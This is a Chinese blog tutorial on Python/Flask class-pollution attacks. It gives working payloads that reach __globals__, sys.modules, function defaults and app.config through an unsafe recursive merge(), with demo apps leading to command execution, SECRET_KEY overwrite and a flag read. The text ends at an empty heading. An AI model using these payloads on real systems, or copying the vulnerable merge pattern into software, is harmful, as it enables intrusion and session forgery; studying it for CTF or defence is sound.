flask原型链污染

baozongwi Lv5
  2024-10-03 16:57:12 2024-10-03 16:57:12 Created   2024-10-04 15:50:24 2024-10-04 15:50:24 Updated      8.5k Words  41 Mins  

0x01 前言

baseCTF里面的那几道我都是现学现做，只是知道污染怎么操作，并不知道为啥可以污染，这次让我彻底弄懂它！

0x02 question

父子类的继承

概念

父类是被继承的类，也称为基类或超类。父类中的属性和方法会被子类继承。

子类是从父类继承而来的类，也称为派生类。子类可以拥有父类的所有属性和方法，还可以添加新的属性和方法，或者重写父类的方法。

同时还有几个重要方法，这里直接引用一位师傅所写的

  • 在Python中，定义类是通过class关键字，class后面紧接着是类名，紧接着是(object)，表示该类是从哪个类继承下来的，所有类的本源都是object类
  • 可以自由地给一个实例变量绑定属性，像js
  • 由于类可以起到模板的作用，因此，可以在创建实例的时候，把一些我们认为必须绑定的属性强制填写进去。通过定义一个特殊的__init__方法，在创建实例的时候，就把类内置的属性绑上
  • 注意到__init__方法的第一个参数永远是self，表示创建的实例本身，因此，在__init__方法内部，就可以把各种属性绑定到self，因为self就指向创建的实例本身。
  • 当我们定义了一个类属性后，这个属性虽然归类所有，但类的所有实例都可以访问到
  • 判断一个变量是否是某个类型可以用isinstance()判断。

普通继承

在子类中，你可以使用 super() 函数来调用父类的方法。这在子类需要扩展而不是完全重写父类方法时特别有用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class Animal:
    def __init__(self, name):
        self.name = name

    def speak(self):
        raise NotImplementedError("Subclass must implement this abstract method")

    def eat(self):
        print(f"{self.name} is eating.")


class Dog(Animal):
    def __init__(self, name, breed):
        super().__init__(name)  # 调用父类的构造函数
        self.breed = breed

    def speak(self):
        print(f"{self.name} says Woof!")

    def fetch(self):
        print(f"{self.name} is fetching the ball.")


class Cat(Animal):
    def __init__(self, name, color):
        super().__init__(name)  # 调用父类的构造函数
        self.color = color

    def speak(self):
        super().speak()  # 调用父类的 speak 方法
        print(f"{self.name} says Meow!")

    def scratch(self):
        print(f"{self.name} is scratching the furniture.")


instance = Cat("无情","black")
print(instance.name)

看看就行感觉没啥好讲的，看就能看懂

多重继承

一个子类可以继承多个父类

1
2
3
4
5
6
7
8
9
10
11
class Flyer:
    def fly(self):
        print(f"{self.name} is flying.")

class Bird(Animal, Flyer):
    def __init__(self, name, species):
        super().__init__(name)  # 调用父类的构造函数
        self.species = species

    def speak(self):
        print(f"{self.name} chirps.")

方法的解析顺序我们靠mro()来查看

1
2
print(Bird.mro())
# [<class '__main__.Bird'>, <class '__main__.Animal'>, <class '__main__.Flyer'>, <class 'object'>]

计算规则是这样

  1. 子类优先于父类：子类的方法和属性优先于父类的方法和属性。
  2. 父类的顺序：如果一个类有多个父类，那么这些父类的顺序会保持不变。
  3. 唯一性：MRO 列表中的每个类只出现一次。

但是这个实际的作用我还不知道是有啥，可能是效率问题？

污染过程解析

先看个最简单的demo

1
2
3
4
5
6
7
class test():
    pass


a=test()
a.__class__='polluted'
print(a.__class__)

这里直接污染发现报错了

1
TypeError: __class__ must be set to a class, not 'str' object

那么此时我们如果要污染属性的话就去寻找其内置属性即可，__qualname__是用于访问类的名称

1
2
3
4
5
6
7
8
class test():
    pass


a=test()
print(a.__class__)
a.__class__.__qualname__='polluted'
print(a.__class__)

而也就是说污染其实就是赋值，那么为了搞清楚原理，我们自己写段代码来调试就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class father:
    secret="hello"
class son_a(father):
    pass
class son_b(father):
    pass
def merge(src,dst):
    for k,v in src.items():
        if hasattr(dst,'__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v,dst.get(k))
            else:
                dst[k]=v
        elif hasattr(dst,k) and type(v) == dict:
            merge(v,getattr(dst,k))
        else:
            setattr(dst,k,v)
    
instance=son_b()
payload={
    "__class__":{
        "__base__":{
            "secret":"world"
        }
    }
}

print(son_a.secret)
print(instance.secret)

merge(payload,instance)
print(son_a.secret)
print(instance.secret)

然后进行debug就可以懂了，这里我还是自己试一次，毕竟是初学者

但是我发现个问题，我使用VScode始终进入不了merge函数，那没办法，我就下载一个pycharm吧,不过先讲讲函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def merge(src,dst):
    # 遍历字典中的所有键值对
    for k,v in src.items():
        # 检查dst是否为字典
        if hasattr(dst,'__getitem__'):
            # 如果存在键k并且v是一个字典
            if dst.get(k) and type(v) == dict:
                merge(v,dst.get(k))
            else:
                dst[k]=v
                # 如果dst是一个对象并且有属性k
        elif hasattr(dst,k) and type(v) == dict:
            merge(v,getattr(dst,k))
        else:
            # 将v赋值给k
            setattr(dst,k,v)

欧克那么下来我们开始调试，打断点在merge(payload,instance)处

1

可以看到我们的键为'__class__',值为{'__base__':{'secret':'world'}},下一步由于dst不为字典直接到了elif

2

继续之后，发现键为'__base__',值为{'secret':'world'}

3

仍然是跳回到了这一步，继续看，再回来时，键为'secret'，值为'world'，现在的值已经不是字典了，所以直接跳转到了setattr，进行赋值

4

赋值之后还有一个东西，请看jpg

5

6

可以看到此时也是dst直接就指向地址了

那么我们就成功的通过当前类的__base__去污染了secret(现在这三个类的secret都是world)，不过这仅仅只是一个内置属性，那能不能实现最大的利用直接污染object呢

前面几步都在正常进行，可是到了后面，发现个问题，也就是我们刚才所有的回退那两步发现没了，从而直接报错，也就是说污染失败，得出结论

object的属性不能污染

不过那回退那三步，又是怎么回事呢，我们再写一个多层的来试试，

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
class father:
    secret = "hello"
    nested = {
        "level1": {
            "level2": {
                "level3": "initial_value"
            }
        }
    }

class son_a(father):
    pass

class son_b(father):
    pass

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = son_b()
payload = {
    "__class__": {
        "__base__": {
            "secret": "world",
            "nested": {
                "level1": {
                    "level2": {
                        "level3": "updated_value",
                        "new_level4": "new_value"
                    },
                    "new_level5": "new_value"
                }
            }
        }
    }
}

print(son_a.secret)
print(instance.secret)
print(instance.nested)

merge(payload, instance)
print(son_a.secret)
print(instance.secret)
print(instance.nested)

换成这个代码进行debug发现会在原地跳伍次

找规律都找的出来了吧，就是因为我们的payload深度所导致的，查找payload深度的方法

3

这样子debug，看看什么时候会完全的往外跳，记录下跳的次数即为payload深度

不过这样的话又要牵扯到python的循环了，那么查找官方文档，其中我们知道

循环是进行迭代调用的，从一个最简单的demo

1
2
3
4
num=[1,2,3,4,5]

for i in num:
    print(i)

这里进行调试会发现，每次进入之后跳出循环都会在for i in num:跳一下

那么回到我们的test

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

这里第一次通过elif进入merge函数，第二次也是，总共合起来就是三次循环，所以跳出时，也是需要原地跳三次才可跳出

那么再看一个最简单的demo吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, jsonify
import os

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and isinstance(v, dict):
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and isinstance(v, dict):
            merge(getattr(dst, k), v)
        else:
            setattr(dst, k, v)

class Demo:
    def __init__(self, cmd):
        self.cmd = cmd

    def execute(self):
        return os.popen(self.cmd).read()

@app.route('/merge_and_execute', methods=['POST'])
def merge_and_execute():
    data = request.json
    if not data or 'cmd' not in data:
        return jsonify({"error": "Invalid input"}), 400

    cmd_data = data['cmd']
    a = Demo('echo Hello')
    merge(cmd_data, a)
    
    result = a.execute()
    return jsonify({"result": result})

if __name__ == '__main__':
    app.run(host='127.0.0.1',debug=True)

直接污染cmd就可以RCE了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /merge_and_execute HTTP/1.1
Host: 127.0.0.1:5000
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-site: none
sec-fetch-mode: navigate
sec-fetch-user: ?1
sec-fetch-dest: document
Connection: close
Content-Length: 24
Content-Type: application/json

{"cmd":{"cmd":"whoami"}}

属性污染以及寻找

这里就神似SSTI中我们如何寻找可利用的方法了

原型链

如上面的，通过继承关系写出poc即可，当然与此同时，并不只是我们自定义的属性可以污染，还有内置属性也可以，这里可以以这个属性为例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class father:
    secret = "hello"


class son_a(father):
    pass


class son_b(father):
    pass


def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


instance = son_b()
payload = {
    "__class__": {
        "__base__": {
            "secret": "world",
            "__str__":"polluted!"
        }
    }
}
print(father.__str__)
merge(payload,instance)
print(father.__str__)

成功污染，好玩好玩

非继承

globals

我们在flask中进行SSTI注入的时候一般就会先去寻找globals，这里也是一样，我们直接去找就行了，不过注意的一点就是，如果我们不进行重写__init__的话，是找不到的

未重写

1
2
3
4
5
6
7
8
9
10
11
12
class MyClass:
    pass

print(type(MyClass.__init__))
try:
    print(MyClass.__init__.__globals__)
# 访问不存在的属性会抛出AttributeError
except AttributeError as e:
    print(e)
    
# <class 'wrapper_descriptor'>
# 'wrapper_descriptor' object has no attribute '__globals__'

重写过后

1
2
3
4
5
6
7
8
class MyClass:
    def __init__(self):
        self.x = 10

print(type(MyClass.__init__))  
print(MyClass.__init__.__globals__)  
# <class 'function'>
# {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001BDD0B71700>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\PyCharm 2023.3.2\\object\\pythonProject\\test.py', '__cached__': None, 'MyClass': <class '__main__.MyClass'>}

同时这里我们也发现，当其未被重写时，它的类型是 wrapper_descriptor，没有__globals__，被重写会变为function，有__globals__，请看demo

1
2
3
4
5
6
7
def demo():
    pass
class MyClass:
    def __init__(self):
        pass

print(demo.__globals__ == globals() == MyClass.__init__.__globals__)

说了这么多别给你说迷糊了，我们的目的就是得到__globals__，OK那么继续看

从SSTI的角度(flask)

1
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('whoami').read()}}

那么我们进入cycler源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Cycler(MutableSequence):
    def __init__(self, **kwargs):
        self._keys = []
        self._length = 1
        self._by_key = {}
        for key, val in kwargs.items():
            if not hasattr(val, '__getitem__') or not hasattr(val, '__len__'):
                raise TypeError(f"{key!r} does not support indexing/length")
            self._keys.append(key)
            self._by_key[key] = val
            self._length = lcm(self._length, len(val))
        self._index = 0

    # 其他方法省略...

很明显看到__init__是被重写了的，其他的不放了(太长了)

那么我们为啥要找这个东西，这再说说

{{ cycler.__init__.__globals__ }} 会返回 cycler 模块中 Cycler 类的 __init__ 方法的全局命名空间。这个全局命名空间是一个字典，字典的内容如下

  1. 内置函数和模块：如 __builtins__。
  2. 导入的模块：如 math（如果 cycler 模块导入了 math 模块）。
  3. 定义的类和函数：如 Cycler 类本身，以及其他在 cycler 模块中定义的类和函数。
  4. 其他全局变量：如 cycler 模块中定义的其他变量。

理清楚了，来看demo，直接利用__globals__污染属性和类属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
name="baozongwi"

class son_a():
    secret="nonono"

class son_b():
    def __init__(self):
        pass
    pass
def merge(src,dst):
    # 遍历字典中的所有键值对
    for k,v in src.items():
        # 检查dst是否为字典
        if hasattr(dst,'__getitem__'):
            # 如果存在键k并且v是一个字典
            if dst.get(k) and type(v) == dict:
                merge(v,dst.get(k))
            else:
                dst[k]=v
                # 如果dst是一个对象并且有属性k
        elif hasattr(dst,k) and type(v) == dict:
            merge(v,getattr(dst,k))
        else:
            # 将v赋值给k
            setattr(dst,k,v)

a=son_a()
b=son_b()

payload={
    "__init__":{
        "__globals__":{
            "name":"12SqweR",
            "a":{
                "secret":"good!!!"
            }
        }
    }
}
print(name)
print(a.secret)

merge(payload,b)
print(name)
print(a.secret)

这里我们就成功污染了，但是实际情况中，常常是存在于内置模块或者是第三方模块之中，此时我们就不太好找关系了。不过还是有很多办法的

sys

那么就要使用sys，因为sys模块的modules属性以字典的形式包含了程序自开始运行时所有已加载过的模块，可以直接从该属性中获取到目标模块，并随着模块的导入而动态更新。

test.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import sys
import son

class son_a():
    secret="nonono"

class son_b():
    def __init__(self):
        pass
    pass
def merge(src,dst):
    # 遍历字典中的所有键值对
    for k,v in src.items():
        # 检查dst是否为字典
        if hasattr(dst,'__getitem__'):
            # 如果存在键k并且v是一个字典
            if dst.get(k) and type(v) == dict:
                merge(v,dst.get(k))
            else:
                dst[k]=v
                # 如果dst是一个对象并且有属性k
        elif hasattr(dst,k) and type(v) == dict:
            merge(v,getattr(dst,k))
        else:
            # 将v赋值给k
            setattr(dst,k,v)

payload={
    "__init__":{
        "__globals__":{
            "sys":{
                "modules":{
                    "son":{
                        "son_test":{
                            "secret":"good!!!"
                        }
                    }
                }
            }
        }
    }
}
b=son_b()

print(son.son_test.secret)
merge(payload,b)
print(son.son_test.secret)

son.py

1
2
class son_test:
    secret="nonono"

这里就以导入第三方块示例了

Loader加载器

__loader__ 是一个属性，它存在于每个已导入的模块对象中。这个属性指向一个加载器对象，该对象负责加载该模块。在一些场景中常常伴有着importlib模块的使用，那么这个时候我们就可以使用loader加载器来进行sys模块的加载从而达到目的

2

加载器这个东西可以简单看看

**BuiltinImporter**：

1
2
3
import math
print(math.__loader__) 
# <class '_frozen_importlib.BuiltinImporter'>
  • 用于加载内置模块（如 math、sys 等）。

**SourceFileLoader**：

1
2
3
import son   # 自定义模块才行
print(son.__loader__)
# <_frozen_importlib_external.SourceFileLoader object at 0x0000020819FA10D0>
  • 用于加载来自文件系统的模块。

**ExtensionFileLoader**：

1
2
3
import numpy
print(numpy.__loader__)
# <_frozen_importlib_external.SourceFileLoader object at 0x000001C8DC2710D0>
  • 用于加载扩展模块（如 C 语言编写的扩展模块）。

只要是BuiltinImporter的加载器都行，所以这里还有spec也能用

2

那么来看demo吧

son.py

1
2
class son_test():
    secret="nonono"

test.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import importlib
import son

class son_a():
    secret="nonono"

class son_b():
    def __init__(self):
        pass
    pass
def merge(src,dst):
    # 遍历字典中的所有键值对
    for k,v in src.items():
        # 检查dst是否为字典
        if hasattr(dst,'__getitem__'):
            # 如果存在键k并且v是一个字典
            if dst.get(k) and type(v) == dict:
                merge(v,dst.get(k))
            else:
                dst[k]=v
                # 如果dst是一个对象并且有属性k
        elif hasattr(dst,k) and type(v) == dict:
            merge(v,getattr(dst,k))
        else:
            # 将v赋值给k
            setattr(dst,k,v)
print("sys" in dir(__import__("importlib")))
payload={
    "__init__":{
        "__globals__":{
            "importlib":{
                "__loader__":{
                    "__init__":{
                        "__globals__":{
                            "sys":{
                                "modules":{
                                    "son":{
                                        "son_test":{
                                            "secret":"good"
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
b=son_b()

print(son.son_test.secret)
merge(payload,b)
print(son.son_test.secret)

然后__spec__

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import math
import son

class son_a():
    secret="nonono"

class son_b():
    def __init__(self):
        pass
    pass
def merge(src,dst):
    # 遍历字典中的所有键值对
    for k,v in src.items():
        # 检查dst是否为字典
        if hasattr(dst,'__getitem__'):
            # 如果存在键k并且v是一个字典
            if dst.get(k) and type(v) == dict:
                merge(v,dst.get(k))
            else:
                dst[k]=v
                # 如果dst是一个对象并且有属性k
        elif hasattr(dst,k) and type(v) == dict:
            merge(v,getattr(dst,k))
        else:
            # 将v赋值给k
            setattr(dst,k,v)

payload={
    "__init__":{
        "__globals__":{
            "math":{
                "__spec__":{
                    "__init__":{
                        "__globals__":{
                            "sys":{
                                "modules":{
                                    "son":{
                                        "son_test":{
                                            "secret":"good"
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
b=son_b()

print(son.son_test.secret)
merge(payload,b)
print(son.son_test.secret)

大家比照一下，很明显__spec__限制更少，我在实验的时候用math的loader来加载sys，结果弄半天后面一直不成功，于是看看有没有结果false

1
print("sys" in dir(__import__("math")))

函数形参默认值替换

__defaults__是一个元组，用于存储函数或方法的默认参数值。当我们去定义一个函数时，可以为其中的参数指定默认值。这些默认值会被存储在__defaults__元组中。我们可以通过这个属性来污染参数默认值

1
2
3
4
5
def a(x,y=2,z=3):
    pass

print(a.__defaults__)
# (2,3)

这是一个函数，有三个参数，其中一个必填参数(x)，还有两个是可选参数(y，z)，再多看看，把__default__看懂

1
2
3
4
5
def func_b(var_1, var_2):
    pass

print(func_b.__defaults__)
# None

那么再来看个特殊的

  1. / 之前的参数：
    • 这些参数是 位置参数（positional-only parameters）。
    • 它们只能通过位置传递，不能通过关键字传递。
  2. / 和 * 之间的参数：
    • 这些参数既可以是 位置参数，也可以是 关键字参数。
    • 它们可以通过位置或关键字传递。
  3. * 之后的参数：
    • 这些参数是 关键字参数（keyword-only parameters）。
    • 它们只能通过关键字传递，不能通过位置传递。
    • 有默认值但是不计入__defualts__
1
2
3
4
5
def a(x,/,y=2,*,z=3):
    pass

a(x=1)
# TypeError: a() got some positional-only arguments passed as keyword arguments: 'x'
1
2
3
4
5
def a(x,/,y=2,*,z=3):
    pass

a(1,4,6)
# TypeError: a() takes from 1 to 2 positional arguments but 3 were given
1
2
3
4
5
6
def a(x,/,y=2,*,z=3):
    print(x,y,z)
    pass

a(1,4,z=6)
print(a.__defaults__)

欧克懂了之后来污染吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def demo(x,name="baozongwi",age="99"):
    if name != "12SqweR":
        print(x)
    else :
        if age != "99":
            print(__import__("os").popen(x).read())
class A:
    def __init__(self):
        pass
def merge(src,dst):
    # 遍历字典中的所有键值对
    for k,v in src.items():
        # 检查dst是否为字典
        if hasattr(dst,'__getitem__'):
            # 如果存在键k并且v是一个字典
            if dst.get(k) and type(v) == dict:
                merge(v,dst.get(k))
            else:
                dst[k]=v
                # 如果dst是一个对象并且有属性k
        elif hasattr(dst,k) and type(v) == dict:
            merge(v,getattr(dst,k))
        else:
            # 将v赋值给k
            setattr(dst,k,v)
a=A()
b=demo
payload={
    "__init__":{
        "__globals__":{
            "demo":{
                "__defaults__":
                    ("12SqweR","100")
            }
        }
    }
}
print(b.__defaults__)

merge(payload,a)
print(b.__defaults__)
c=demo("whoami")

这个__defaults__的写法一定要对，是元组，不然就失败，当然如果是True或者False的话，就可以直接写

这里给看看我的错误写法，

1

首先我加了大括号，不是元组，然后modules里面还只有模块,所以直接鸭溪啦

后来我查看一些污染类文章发现用sys一样可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import sys

def demo(x, name="baozongwi", age="99"):
    if name != "12SqweR":
        print(x)
    else:
        if age != "99":
            print(__import__("os").popen(x).read())

class A:
    def __init__(self):
        pass

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

a = A()
b = demo
payload = {
    "__init__": {
        "__globals__": {
            "sys": {
                "modules": {
                    "__main__": {
                        "demo": {
                            "__defaults__": ("12SqweR", "100")
                        }
                    }
                }
            }
        }
    }
}

print(b.__defaults__)  # 输出: ('baozongwi', '99')

merge(payload, a)
print(b.__defaults__)  # 输出: ('12SqweR', '100')

c = demo("whoami")

除了__defaults__还有__kwdefaults__，大差不差，只不过这个是字典，cancan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def func_a(var_1, var_2 =2, var_3 = 3):
    pass

def func_b(var_1, /, var_2 =2, var_3 = 3):
    pass

def func_c(var_1, var_2 =2, *, var_3 = 3):
    pass

def func_d(var_1, /, var_2 =2, *, var_3 = 3):
    pass

print(func_a.__kwdefaults__)
#None
print(func_b.__kwdefaults__)
#None
print(func_c.__kwdefaults__)
#{'var_3': 3}
print(func_d.__kwdefaults__)
#{'var_3': 3}

发现只有关键字参数的默认值才会返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def demo(x,*,name="baozongwi",age="99"):
    if name != "12SqweR":
        print(x)
    else :
        if age != "99":
            print(__import__("os").popen(x).read())

class A:
    def __init__(self):
        pass
def merge(src,dst):
    # 遍历字典中的所有键值对
    for k,v in src.items():
        # 检查dst是否为字典
        if hasattr(dst,'__getitem__'):
            # 如果存在键k并且v是一个字典
            if dst.get(k) and type(v) == dict:
                merge(v,dst.get(k))
            else:
                dst[k]=v
                # 如果dst是一个对象并且有属性k
        elif hasattr(dst,k) and type(v) == dict:
            merge(v,getattr(dst,k))
        else:
            # 将v赋值给k
            setattr(dst,k,v)
a=A()
b=demo
payload={
    "__init__":{
        "__globals__":{
            "demo":{
                "__kwdefaults__": dict(name="12SqweR",age="100")
                # "__kwdefaults__": {"name":"12SqweR","age":"100"}
            }
        }
    }
}
print(b.__kwdefaults__)

merge(payload,a)
print(b.__kwdefaults__)
c=demo("whoami")

关键信息替换

session_key

有些时候当我们不知道key的时候，并且审计代码或者尝试，发现可以污染的时候，那我们可以直接污染为自己想要的可控值，那么此时session就可以任意伪造了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask,request
import json

app = Flask(__name__)
app.config['SECRET_KEY']="who are you"
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    print(app.config['SECRET_KEY'])
    if request.data:
        merge(json.loads(request.data), instance)
    return "[+]Config:%s"%(app.config['SECRET_KEY'])

app.run(host="0.0.0.0")

直接污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST / HTTP/1.1
Host: 127.0.0.1:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-site: none
sec-fetch-mode: navigate
sec-fetch-user: ?1
sec-fetch-dest: document
Connection: close
Content-Type: application/json
Content-Length: 189

{
    "__init__":{
        "__globals__":{
            "app":{
                "config":{
                    "SECRET_KEY":"mine"
                }
            }
        }
    }
}

_got_first_request

这里对版本有要求我们给自己降个级

1
2
3
4
5
pip install werkzeug==2.0.3
pip install Flask==2.1.0

pip install --upgrade werkzeug
pip install --upgrade Flask

等会升级回来就好了

_got_first_request 是 Flask 应用内部的一个属性，用于跟踪是否已经处理了第一个请求。这个属性主要用于实现 before_first_request 装饰器的功能，但在 Flask 2.2.0 版本中，before_first_request 装饰器已经被移除，因此 _got_first_request 也失去了其主要用途。

就是场景就是有些时候为了安全，会只允许一些特定操作，比如必须在before_first_request 装饰器实现一些东西，看看这个装饰器的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class Flask(WerkzeugApp):
    # ... 其他代码 ...

    def __init__(self, import_name, static_url_path=None, static_folder='static',
                 static_host=None, host_matching=False, subdomain_matching=False,
                 template_folder='templates', instance_path=None,
                 instance_relative_config=False, root_path=None):
        # ... 初始化代码 ...
        self.before_first_request_funcs = []
        # ... 其他初始化代码 ...

    def before_first_request(self, f):
        """Register a function to be run before the first request only."""
        self.before_first_request_funcs.append(f)
        return f

    def _got_first_request(self):
        if self._got_first_request:
            return
        self._got_first_request = True
        for func in self.before_first_request_funcs:
            func()

    def process_response(self, response):
        """Can be overridden in order to modify the response object before it's sent to the client."""
        # ... 其他代码 ...
        self._got_first_request()
        # ... 其他代码 ...
        return response

    def preprocess_request(self):
        """Called before the actual request dispatching and will ensure that
        :meth:`before_request` functions and URL value matching are done.  If
        this returns a response the regular request handling is skipped and the
        returned response is sent instead.
        """
        # ... 其他代码 ...
        self._got_first_request()
        # ... 其他代码 ...
        return None

主要就是这里

1
2
3
4
5
6
def _got_first_request(self):
        if self._got_first_request:
            return
        self._got_first_request = True
        for func in self.before_first_request_funcs:
            func()

也就是说我们如果要调用这个装饰器中的函数，必须让_got_first_request为false

这里我们如果可以污染的话就非常good

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

flag = "Is flag here?"

@app.before_first_request
def init():
    global flag
    if hasattr(app, "special") and app.special == "U_Polluted_It":
        flag = open("flag", "rt").read()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    global flag
    setattr(app, "special", "U_Polluted_It")
    return flag

app.run(host="0.0.0.0")

还要创建一个flag文件，自己随便来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST / HTTP/1.1
Host: 127.0.0.1:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-site: none
sec-fetch-mode: navigate
sec-fetch-user: ?1
sec-fetch-dest: document
Connection: close
Content-Type: application/json
Content-Length: 145

{
    "__init__":{
        "__globals__":{
            "app":{
                "_got_first_request":false
            }
        }
    }
}

这里还有一个点，就是因为版本问题false必须写成这样子，而不是False

_static_url_path

